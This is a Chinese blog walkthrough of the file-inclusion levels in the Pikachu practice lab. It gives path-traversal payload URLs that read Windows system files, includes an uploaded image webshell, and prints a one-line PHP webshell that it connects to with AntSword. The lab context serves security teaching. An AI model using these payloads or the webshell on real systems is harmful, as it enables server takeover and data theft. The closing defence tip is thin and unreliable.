P11 PikaChu_File Inclusion(文件包含漏洞)

大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
今天更新的是:


创建时间:2021年3月27日
软件: MindMaster Pro 、Burp Suite Pro 、火狐浏览器


前言:

  • File Inclusion(文件包含漏洞)概述 :文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如在PHP中,提供了:
  • include(),include_once()
  • require(),require_once()
  • 这些文件包含函数,这些函数在代码设计中被经常使用到。
  • 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:

1.本地文件包含漏洞:
  仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息,并结合文件上传漏洞包含图片马,获取webshell;

  • File Inclusion(remote)关卡会尝试直接包含木马,以及包含写入木马的文件。
  • php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。
  • 漏洞分析

    • 首先我们随便按照规则随便点击一下看一看,发现回显的一张图片和介绍。我们对此有一些简单的理解。
    • 接下来我们来尝试用 Burp Suite 来进行抓个包来看看,正所谓遇事不决先抓包
    P11 PikaChu_File Inclusion(文件包含漏洞) P11 PikaChu_File Inclusion(文件包含漏洞)
    • 我们从抓包信息来看 URL:/pikachu/vul/fileinclude/fi_local.php?filename=file3.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
    • 可见其中包含了一个文件file3.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞呢。
    • 我们记录一下当前的URL:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file3.php&submit=提交查询
    • 我能继续尝试一下点击别的图片看看有没有别发现:
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 可见其中包含了一个文件file4.php
    • 我们记录一下当前的URL:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file4.php&submit=提交查询
    • 我们将别的图片全部点击一遍,发现文件名的顺序是file1.php~file5.php
    • 那有没有可能这套文件里面就有废弃或者隐藏的文件呢?

    尝试爆破一下隐藏文件

    • Burp Suite 抓取的数据包发送到send to intruder 来进行爆破一下,看看有没有别的发现。
    P11 PikaChu_File Inclusion(文件包含漏洞) P11 PikaChu_File Inclusion(文件包含漏洞)
    • 根据我们爆破可知,发现6、7、8、9 可能有一点问题
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 这时就要用到我们记录下来的URL了,来我们通过URL来进行尝试修改一下看看能不能读出一些有意思的东西来。
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 果然发现file6.php 是个包含用户名和密码的隐藏文件
    • 我们再试试file7.php 返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
    • 后面的file8.phpfile9.phpfile10.php 都是这个错误就不一 一展示了。
    P11 PikaChu_File Inclusion(文件包含漏洞)

    尝试读取系统文件

    • 从上面的报错信息还可以发现系统是windows系统,并且网站根目录是D:phpStudyPHPTutorialWWWpikachu
    • windows系统肯定有的文件是C:Windowswin.ini,用这个来尝试有没有文件包含漏洞
    • 上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。
    • 结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为…/…/…/…/…/…/windows/win.ini,代入url中组成payload:
    • 重构URL:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4
    • 成功读取到C:Windowswin.ini文件的内容:
    P11 PikaChu_File Inclusion(文件包含漏洞)

    尝试结合文件上传getshell

    • P4 PikaChu_不安全的文件上传漏洞
    • 结合上文连接中的图片马,上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,
    • 构建完整payload为: http://192.168.34.193/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/03/27/250267605ef9be410c9578810037.jpg&submit=%E6%8F%90%E4%BA%A4
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 浏览器打开构建的payload显示图片马执行成功
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 尝试用蚁剑来连接一下
    • URL:http://192.168.34.193/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/03/27/250267605ef9be410c9578810037.jpg&submit=%E6%8F%90%E4%BA%A4
    P11 PikaChu_File Inclusion(文件包含漏洞)

    二、File Inclusion(remote)

    漏洞分析

    • 嗯 ? 打开一下发现这是这么鬼???
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 那我们根据提示重现打开一下找到你PHP安装目录找到PHP.ini文件
    P11 PikaChu_File Inclusion(文件包含漏洞) P11 PikaChu_File Inclusion(文件包含漏洞)
    • 我们已经成功的进来了,步骤还是跟上面一样。
    • 随便点击一个图片,来我们记录一下URL检查一下跟之前有什么去别?
    • URL:http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
    • 上一关的URL:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file3.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
    • 在这个URL中把include()函数的完整参数给出来了。
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径呢:
    • 来我们来尝试一下本地包含看看能不能用,访问一下本地文件读取C:Windowswin.ini文件的内容:
    • 构建URL:http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=C:Windowswin.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 那我们就尝试一下远程看看能不能登录
    • 该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php并将一句话木马写入shell.php
    <?php assert($_POST[fin]);?> 
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 我们来尝试用蚁剑来连接一下拿权限
    P11 PikaChu_File Inclusion(文件包含漏洞)
    P11 PikaChu_File Inclusion(文件包含漏洞)
    • 我们连接成功,可以进行修改和访问文件
    P11 PikaChu_File Inclusion(文件包含漏洞)

    如何预防呢?

    • 我们如何防范这些非法上传呢?
    • 我们可以在文件夹中属性中,将权限给修改拒绝写入那么别人通过木马就不能访问和修改我们的重要信息了
    P11 PikaChu_File Inclusion(文件包含漏洞)

    各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。

    每个小伙伴的关注都是本人更新博客的动力!!!
    请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
    P11 PikaChu_File Inclusion(文件包含漏洞)

    把握现在 ,展望未来 ,加油 !


    由于水平有限 ,写的难免会有些不足之处 ,恳请各位大佬不吝赐教 !

    版权声明:玥玥 发表于 2021-03-29 10:49:44。
    转载请注明:P11 PikaChu_File Inclusion(文件包含漏洞) | 女黑客导航